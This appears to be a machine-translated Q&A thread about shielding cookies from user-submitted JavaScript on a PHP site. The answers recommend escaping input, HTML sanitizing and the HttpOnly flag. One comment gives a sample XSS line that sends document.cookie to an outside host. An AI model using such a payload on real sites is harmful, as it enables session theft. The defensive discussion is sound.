2011-08-17 14 views
0

私はこのスクリプトでは、訪問者が登録してログインすることができます(ユーザー情報はクッキーに保存されています)...登録後、彼らは自分の個人ページを編集することができます..問題:このページはJavaScriptを受け入れます誰もがdocument.cookieを使ってクッキーを入手できます:(ユーザーのページでJavaScriptからPHP Cookieを保護するにはどうすればよいですか?

ユーザーページからdocument.cookieタグを消去するために正規表現を作成しようとしましたが、ユーザーが以下を置くことができるため、良い解決策ではありません:<script src="filejs.js"></script>とfilejs .js例えば、このコードalert(document.cookie);は、このコードはきれいに....

セッションが保存され見つからないだろうが、それは長い時間のために(time()+60*24*300)を保存していない:(

ありがとうございます。

答えて

1

なぜユーザーが自分のCookieを見ることを防止しようとしていますか?クッキーはすでにコンピュータに保存されています。

誰かがあなたのページにスクリプトを挿入しないようにするには、strip_tagsを使用して入力からHTMLを削除するか、htmlspecialcharsをプレーンテキストとして表示します。

+0

はい、チャットボックスに保存することはできません。たとえば、次のようにチャットに新しいメッセージを書き込みます。 document.location = "http://yoursite.com/index.php?cookie="+document.cookie ; ユーザーのCookieがサイトに挿入され、そのアカウントにアクセスできます。■ –

1

あなたのページにJavaScriptを含めさせるのは非常に困難です。あなたは正規表現でこれを自分で達成することはできません。 Google's Caja projectのような重量のあるソリューションを使用する必要があります。

その他のセキュリティ上の問題は別として、JavaScriptからCookieを保護することができますby using the HttpOnly flag。あなたはPHPでpassing setcookie() a true value for the $httponly argumentでそれを使うことができます。

+0

httponly = trueに設定すると、ユーザーはjavascriptを使用してCookieを取得できません。 –

+0

@Davidcoder:そうですが、新しいブラウザでのみ、古いブラウザでは動作しません。そして、Cajaのようなものがなければ、クッキーを盗む以外にサイトをハッキングする他の方法があります。 –

+0

OK セッションを使用してユーザー名を保存し、セッションの保存期間を1時間に設定するパスワードとクッキーを保存します $ _COOKIE ["username"] $ _SESSION ["password"] 保存しますか? –

1

JavaScriptがクッキーにアクセスするのを防ぐ最も良い方法は、クッキーにHttpOnlyフラグを設定することです。 PHPでは、これはsession.cookie-httponly ini指令を使ってセッションクッキーに適用できます。 setcookie()を使用してCookieを設定する場合は、オプションの$httponlyパラメータをTRUEに設定できます。

0

あなたは、自分のクッキーを見てからユーザーを防ぐことはできません - あなたは、彼らが必要とするすべてのライブHTTPヘッダとFirefoxのであるなど、すべてのHTML

を削除した場合でも。別のポスターが言及しているように、なぜあなたがそれを与えたときにビスケットを切り刻むのですか?彼らは彼らの個人的なページを編集することができ、登録後

0

.. probleme:このページではJavaScriptコードを受け入れる...

だから、例えば、HTMLの消毒剤を使用することによって、またはそのマークアップ言語を使用して(これを修正HTMLではありません)。あなたが記述しているのは、セキュリティ上の深刻な脆弱性である機能ではなく、セッションを調整することで効果的に処理することはできません。それは、タイタニックのデッキチェアを並べ替えることになります。

関連する問題